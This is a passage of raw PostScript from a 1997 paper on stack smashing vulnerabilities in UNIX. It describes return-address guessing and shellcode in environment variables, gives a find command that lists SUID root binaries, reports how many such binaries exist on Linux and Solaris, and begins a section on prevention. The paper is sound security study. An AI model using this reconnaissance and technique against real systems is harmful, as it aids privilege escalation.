(r)A (o)S -0.400 0 (ac)A 24.000 0 32 (h )W -0.200 0 (w)A (h)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (e)A (b)S 27.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S 25.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (h)S -0.400 0 (e)A 24.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S 25.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 24.900 0 32 0.100 0 (s )D -0.300 0 (f)A (o)S 0.200 0 (ll)A (o)S -0.200 0 (w)A -0.400 0 (e)A 25.000 0 32 (d b)W 28.000 0 32 -3.000 0 (y )D 0.200 0 (m)A -0.400 0 (a)A (n)S 28.000 0 32 -3.000 0 (y )D 0.200 0 (i)A (n)S 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (n)S -0.400 0 (ce)A 24.900 0 32 0.100 0 (s )D (o)S 25.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 25.400 0 32 -0.400 0 (e )D -0.300 0 (\221)A -1.000 0 (g)A (u)S -0.400 0 (e)A 0.100 0 (ss)A -0.400 0 (e)A (d)S 25.300 0 32 -0.300 0 (\222 r)D -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 858 M -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 7.900 0 32 0.100 0 (ss )D 0.200 0 (i)A 8.000 0 32 (n )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A -3.000 0 (y)A 7.800 0 32 0.200 0 (; i)D 7.900 0 32 0.100 0 (s )D 8.400 0 32 -0.400 0 (a c)D (o)S 0.200 0 (mm)A 9.000 0 32 (on )W 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (e)A -1.000 0 (g)A 12.000 0 32 -3.000 0 (y )D (u)S 0.100 0 (s)A -0.400 0 (e)A 9.000 0 32 (d )W 0.200 0 (i)A 9.000 0 32 (n )W -0.400 0 (c)A (on)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (ti)A (n)S 10.000 0 32 -1.000 0 (g )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 9.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 10.000 0 32 -1.000 0 (g )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 0.100 0 (s)A 9.000 0 32 (. )W -0.200 0 (A)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1035 M -0.400 0 (a)A (dd)S 0.200 0 (iti)A (on)S -0.400 0 (a)A 4.800 0 32 0.200 0 (l )D -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 6.000 0 32 (h, )W -0.200 0 (w)A (h)S -0.400 0 (e)A 6.000 0 32 (n )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 5.800 0 32 0.200 0 (ll )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 5.900 0 32 0.100 0 (s )D -0.200 0 (w)A 0.200 0 (it)A 6.000 0 32 (h )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 9.000 0 32 -3.000 0 (y )D -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (c)A 0.200 0 (ti)A (on)S 5.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 6.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A -0.400 0 (e)A 6.000 0 32 (d, )W 0.200 0 (i)A 5.900 0 32 0.100 0 (s )D 0.200 0 (t)A 6.000 0 32 (o )W 0.100 0 (s)A 0.200 0 (t)A (o)S -0.300 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1212 M -0.066 0 (the shellcode in an environment variable.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 1537 M 0.110 0 (10. SUID root programs by distribution)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 1742 M -2.300 0 (I)A 4.000 0 32 (n o)W -0.300 0 (r)A (d)S -0.400 0 (e)A 4.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 4.000 0 32 (o )W 0.100 0 (s)A -0.400 0 (ea)A -0.300 0 (r)A -0.400 0 (c)A 4.000 0 32 (h )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A 4.000 0 32 (d )W -0.200 0 (UN)A -2.300 0 (I)A 4.200 0 32 -0.200 0 (X )D (d)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A (on)S 3.900 0 32 0.100 0 (s )D -0.300 0 (f)A (o)S 4.300 0 32 -0.300 0 (r )D 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 5.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 4.800 0 32 0.200 0 (t )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 0.100 0 (s)A 5.000 0 32 (, )W 0.200 0 (t)A (h)S 5.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (o)S 0.200 0 (ll)A (o)S -0.200 0 (w)A 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1919 M -0.151 0 (command can be executed by the privileged user:)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Courier (F6) cvn 0.783 (Courier) cvn /Type1 T (Courier) cvn mF (F6_83) cvn F6 83 xF F6_83 Ji 1327 2092 M 0.200 0 (/usr/bin/find / -user root -perm -004000 -print)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2228 M -0.100 0 (T)A (h)S 0.200 0 (i)A -0.100 0 32 0.100 0 (s )D -0.400 0 (c)A (o)S 0.200 0 (mm)A -0.400 0 (a)A (nd )S 0.200 0 (i)A -0.100 0 32 0.100 0 (s )D 0.400 0 32 -0.400 0 (a )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A -0.300 0 (-)A -0.200 0 (w)A 0.200 0 (i)A (d)S 0.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (ea)A -0.300 0 (r)A -0.400 0 (c)A 1.000 0 32 (h )W -0.400 0 (c)A (o)S 0.200 0 (mm)A -0.400 0 (a)A 1.000 0 32 (nd )W -0.300 0 (f)A (o)S 1.300 0 32 -0.300 0 (r )D 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 1.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 0.800 0 32 0.200 0 (t )D -0.300 0 (f)A 0.200 0 (il)A -0.400 0 (e)A 0.100 0 (s)A 0.800 0 32 0.200 0 (; )D -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A 1.000 0 32 (h, )W -0.400 0 (a)A 0.900 0 32 0.100 0 (s )D (d)S -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (b)S -0.400 0 (e)A 1.000 0 32 (d, )W -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2405 M -0.400 0 (c)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (a)A 13.800 0 32 0.200 0 (l i)D 15.000 0 32 (n )W -0.400 0 (c)A (on)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (ti)A (n)S 16.000 0 32 -1.000 0 (g )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 15.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 16.000 0 32 -1.000 0 (g )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 0.100 0 (s)A 15.000 0 32 (. )W -0.200 0 (U)A 0.100 0 (s)A 0.200 0 (i)A (n)S 16.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 15.400 0 32 -0.400 0 (e a)D (bov)S 15.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (mm)A -0.400 0 (a)A 15.000 0 32 (nd )W -0.400 0 (a)A 14.900 0 32 0.100 0 (s )D 15.400 0 32 -0.400 0 (a )D 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (s)A 14.800 0 32 0.200 0 (t )D -0.400 0 (ca)A 0.100 0 (s)A -0.400 0 (e)A (,)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2582 M -0.200 0 (w)A (o)S -0.300 0 (r)A (k)S 0.200 0 (i)A (n)S 24.000 0 32 -1.000 0 (g )D 0.200 0 (i)A (n)S 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ll)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 22.900 0 32 0.100 0 (s )D (o)S 23.300 0 32 -0.300 0 (f )D 0.200 0 (t)A -0.200 0 (w)A 23.000 0 32 (o popu)W 0.200 0 (l)A -0.400 0 (a)A 23.300 0 32 -0.300 0 (r )D -0.200 0 (UN)A -2.300 0 (I)A 23.200 0 32 -0.200 0 (X w)D -0.400 0 (e)A -0.300 0 (r)A 23.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 23.000 0 32 (d )W -0.200 0 (w)A 0.200 0 (it)A 23.000 0 32 (h )W 0.200 0 (t)A (h)S 0.200 0 (i)A 22.900 0 32 0.100 0 (s )D -0.400 0 (c)A (o)S 0.200 0 (mm)A -0.400 0 (a)A (nd)S 23.800 0 32 0.200 0 (: )D -2.100 0 (L)A 0.200 0 (i)A (nu)S 23.000 0 32 1.000 0 (x )D -0.400 0 (a)A (nd)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2759 M 0.029 0 (Solaris)A ; : 817 2743 4066 76 rc 0 0 0 sco (F2_67) cvn F2 67 xF F2_67 Ji 890 2743 M 0.500 0 (11)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 958 2759 M (.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2936 M -0.200 0 (O)A 10.000 0 32 (n )W 10.400 0 32 -0.400 0 (a )D -2.100 0 (L)A 0.200 0 (i)A (nu)S 9.000 0 32 1.000 0 (x )D 0.200 0 (m)A -0.400 0 (ac)A (h)S 0.200 0 (i)A (n)S 10.400 0 32 -0.400 0 (e )D -0.300 0 (r)A (unn)S 0.200 0 (i)A (n)S 12.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 11.400 0 32 -0.400 0 (e )D 11.000 0 32 (2.0.30 k)W -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 0.200 0 (l)A 11.000 0 32 (, bu)W 10.800 0 32 0.200 0 (ilt )D -0.300 0 (fr)A (o)S 10.800 0 32 0.200 0 (m )D 11.400 0 32 -0.400 0 (a )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (e)A 11.000 0 32 (d v)W -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 0.200 0 (i)A 11.000 0 32 (on o)W 11.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F9) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F9_100) cvn F9 100 xF F9_100 Ji 612 3113 M (S)S 0.200 0 (l)A (a)S -0.400 0 (ck)A 0.300 0 (w)A (a)S 0.100 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1028 3113 M 16.000 0 32 ( d)W 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A 16.000 0 32 (on, 56 )W 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 16.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 15.800 0 32 0.200 0 (t )D -0.200 0 (w)A (o)S -0.300 0 (r)A 0.200 0 (l)A (d)S -0.300 0 (-)A -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A 16.400 0 32 -0.400 0 (e )D (b)S 0.200 0 (i)A (n)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 16.900 0 32 0.100 0 (s )D -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 17.000 0 32 (d on )W 0.200 0 (t)A (h)S 17.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 17.000 0 32 (. )W -0.200 0 (A)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3290 M 0.100 0 (s)A (ub)S 0.200 0 (tl)A 5.400 0 32 -0.400 0 (e )D (b)S -3.000 0 (y)A 0.200 0 (t)A 5.400 0 32 -0.400 0 (e c)D (op)S -3.000 0 (y)A 0.200 0 (i)A (n)S 6.000 0 32 -1.000 0 (g )D -0.400 0 (e)A -0.300 0 (rr)A (o)S 6.300 0 32 -0.300 0 (r )D 0.200 0 (i)A 6.000 0 32 (n )W -0.400 0 (a)A (n)S 9.000 0 32 -3.000 0 (y )D (on)S 6.400 0 32 -0.400 0 (e )D (o)S 6.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e a)D (bov)S 6.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 5.900 0 32 0.100 0 (s )D -0.400 0 (c)A (ou)S 0.200 0 (l)A 6.000 0 32 (d )W -0.400 0 (a)A 0.200 0 (ll)A (o)S 6.200 0 32 -0.200 0 (w )D -0.300 0 (f)A (o)S 6.300 0 32 -0.300 0 (r )D 6.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 6.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3467 M (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A -3.000 0 (y)A 3.000 0 32 (. )W 0.300 0 (C)A (o)S 0.200 0 (m)A (p)S -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (v)S -0.400 0 (e)A 0.200 0 (l)A -3.000 0 (y)A 3.000 0 32 (, )W -2.300 0 (I)A 3.000 0 32 (n )W 3.400 0 32 -0.400 0 (a )D (d)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A 3.000 0 32 (on o)W 3.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D 0.400 0 (S)A (o)S 0.200 0 (l)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A 2.900 0 32 0.100 0 (s )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 5.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 4.000 0 32 (, )W -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S 1.000 0 (x)A 0.200 0 (im)A -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (l)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3644 M 26.000 0 32 (67 )W 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 26.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 25.800 0 32 0.200 0 (t )D -0.200 0 (w)A (o)S -0.300 0 (r)A 0.200 0 (l)A (d)S -0.300 0 (-)A -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A 26.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 26.900 0 32 0.100 0 (s )D 27.000 0 32 (on )W 0.200 0 (t)A (h)S 27.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 26.800 0 32 0.200 0 (m i)D 27.000 0 32 (n )W 0.200 0 (t)A (o)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (l)A ; : 3317 3628 1566 76 rc 0 0 0 sco F2_67 Ji 3390 3628 M 0.500 0 (12)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3458 3644 M 27.000 0 32 (. )W -0.200 0 (A)A 26.900 0 32 0.100 0 (s )D -0.200 0 (w)A 0.200 0 (it)A 27.000 0 32 (h )W 0.200 0 (t)A (h)S 27.400 0 32 -0.400 0 (e )D -2.100 0 (L)A 0.200 0 (i)A (nu)S 1.000 0 (x)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3821 M (d)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A 15.000 0 32 (on, )W -0.400 0 (a)A 15.000 0 32 (n )W -0.400 0 (e)A -0.300 0 (rr)A (o)S 15.300 0 32 -0.300 0 (r )D 0.200 0 (i)A 16.000 0 32 (n )W 0.200 0 (t)A (h)S 16.400 0 32 -0.400 0 (e c)D (od)S 0.200 0 (i)A (n)S 17.000 0 32 -1.000 0 (g )D 0.200 0 (t)A 16.000 0 32 (o h)W -0.400 0 (a)A (nd)S 0.200 0 (l)A 16.400 0 32 -0.400 0 (e )D (d)S -3.000 0 (y)A (n)S -0.400 0 (a)A 0.200 0 (mi)A 16.400 0 32 -0.400 0 (c )D 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (n)S 17.000 0 32 -1.000 0 (g )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 15.900 0 32 0.100 0 (s )D 0.200 0 (i)A 16.000 0 32 (n )W -0.400 0 (a)A (n)S 19.000 0 32 -3.000 0 (y )D (on)S 16.400 0 32 -0.400 0 (e )D (o)S 16.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3998 M -0.146 0 (system binaries could allow for a stack smashing vulnerability.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4175 M -0.200 0 (U)A 0.100 0 (s)A 0.200 0 (i)A (n)S 8.000 0 32 -1.000 0 (g )D -2.100 0 (L)A 0.200 0 (i)A (nu)S 6.000 0 32 1.000 0 (x )D -0.400 0 (a)A 7.000 0 32 (nd )W 0.400 0 (S)A (o)S 0.200 0 (l)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A 6.900 0 32 0.100 0 (s )D -0.400 0 (a)A 6.900 0 32 0.100 0 (s )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.100 0 (s)A 7.000 0 32 (, on)W 7.400 0 32 -0.400 0 (e )D 0.200 0 (m)A -0.400 0 (a)A 10.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (on)S -0.400 0 (c)A 0.200 0 (l)A (ud)S 7.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 7.800 0 32 0.200 0 (t )D 8.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (i)A -1.000 0 (g)A (n)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A (n)S 7.800 0 32 0.200 0 (t )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 8.300 0 32 -0.300 0 (r )D (o)S -0.300 0 (f)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4352 M 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 12.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 11.800 0 32 0.200 0 (t )D (b)S 0.200 0 (i)A (n)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 11.900 0 32 0.100 0 (s )D -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (i)A 0.100 0 (s)A 11.800 0 32 0.200 0 (t i)D 12.000 0 32 (n )W 0.200 0 (t)A (h)S 12.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -3.000 0 (y)A (p)S 0.200 0 (i)A -0.400 0 (ca)A 12.800 0 32 0.200 0 (l )D -0.200 0 (UN)A -2.300 0 (I)A 13.200 0 32 -0.200 0 (X )D (d)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A 13.000 0 32 (on. )W -0.200 0 (A)A (n)S 16.000 0 32 -3.000 0 (y )D (on)S 13.400 0 32 -0.400 0 (e )D (o)S 13.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 13.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 12.900 0 32 0.100 0 (s )D -0.400 0 (ca)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4529 M (b)S -0.400 0 (ec)A (o)S 0.200 0 (m)A 28.400 0 32 -0.400 0 (e a )D 0.200 0 (t)A -0.400 0 (a)A -0.300 0 (r)A -1.000 0 (g)A -0.400 0 (e)A 27.800 0 32 0.200 0 (t )D -0.300 0 (f)A (o)S 28.300 0 32 -0.300 0 (r )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 28.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 28.000 0 32 (, )W 0.200 0 (t)A (hu)S 0.100 0 (s)A 28.000 0 32 (, p)W -0.300 0 (r)A -0.400 0 (e)A (v)S -0.400 0 (e)A (n)S 0.200 0 (ti)A 29.000 0 32 (on )W -0.400 0 (a)A 29.000 0 32 (nd p)W -0.300 0 (r)A (o)S 0.200 0 (t)A -0.400 0 (ec)A 0.200 0 (ti)A 29.000 0 32 (on o)W 29.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 29.400 0 32 -0.400 0 (e )D -0.300 0 (f)A 0.200 0 (il)A -0.400 0 (e)A 28.900 0 32 0.100 0 (s )D 0.200 0 (i)A 28.900 0 32 0.100 0 (s )D -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4706 M -0.360 0 (necessity.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_133) cvn F2 133 xF F2_133 Ji 612 4885 M 0.042 0 (11. Stack Smashing Prevention)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 5119 M 3.200 0 32 -0.200 0 (A )D -0.400 0 (ce)A (n)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (e)A 4.000 0 32 (d o)W 4.300 0 32 -0.300 0 (r )D (d)S -0.400 0 (ece)A (n)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (e)A 4.000 0 32 (d )W -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 4.000 0 32 (h )W -0.400 0 (ca)A 4.000 0 32 (n b)W 4.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.400 0 (a)A (k)S -0.400 0 (e)A 4.000 0 32 (n )W 0.200 0 (t)A 4.000 0 32 (o )W -0.400 0 (a)A (vo)S 0.200 0 (i)A 4.000 0 32 (d )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 4.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 5.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5296 M (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 0.100 0 (s)A 37.000 0 32 (. )W -0.100 0 (T)A 37.000 0 32 (o do )W 0.100 0 (s)A 37.000 0 32 (o, )W -0.400 0 (c)A (h)S -0.400 0 (a)A (n)S -1.000 0 (g)A -0.400 0 (e)A 36.900 0 32 0.100 0 (s )D 0.200 0 (m)A (u)S 0.100 0 (s)A 36.800 0 32 0.200 0 (t )D (b)S 37.400 0 32 -0.400 0 (e )D 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (e)A 37.000 0 32 (d )W 0.200 0 (i)A 38.000 0 32 (n )W 0.200 0 (t)A (h)S 38.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 38.000 0 32 (d p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 0.100 0 (s)A ; : 522 5486 2880 94 rc 0 0 0 sco F2_83 Ji 612 5486 M 0.250 0 ( )A ; : 1152 5486 2700 94 rc 0 0 0 sco F2_83 Ji 1242 5486 M 0.250 0 ( )A ; 612 5539 N M 1200 4 rr : 0 0 0 sco O ; : 0 0 4883 6391 rc 0 0 0 sco (F2_42) cvn F2 42 xF F2_42 Ji 612 5582 M (11)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 654 5587 M 0.161 0 ( Complete listing is available in Appendix B)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_42 Ji 612 5682 M (12)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 654 5687 M 0.235 0 ( This specific machine has 67, however an \221out of the box\222 distribution may have slightly more or less)A ; LH savelevel1 restore pagesave restore (%%[ Page: 20 ]%%) = %%PageTrailer %%Page: 21 21 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (21)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 612 504 M 0.200 0 (t)A (h)S -0.400 0 (e)A 0.200 0 (m)A 0.100 0 (s)A -0.400 0 (e)A 0.200 0 (l)A (v)S -0.400 0 (e)A 0.100 0 (s)A 6.000 0 32 (, )W 0.200 0 (i)A 6.000 0 32 (n )W 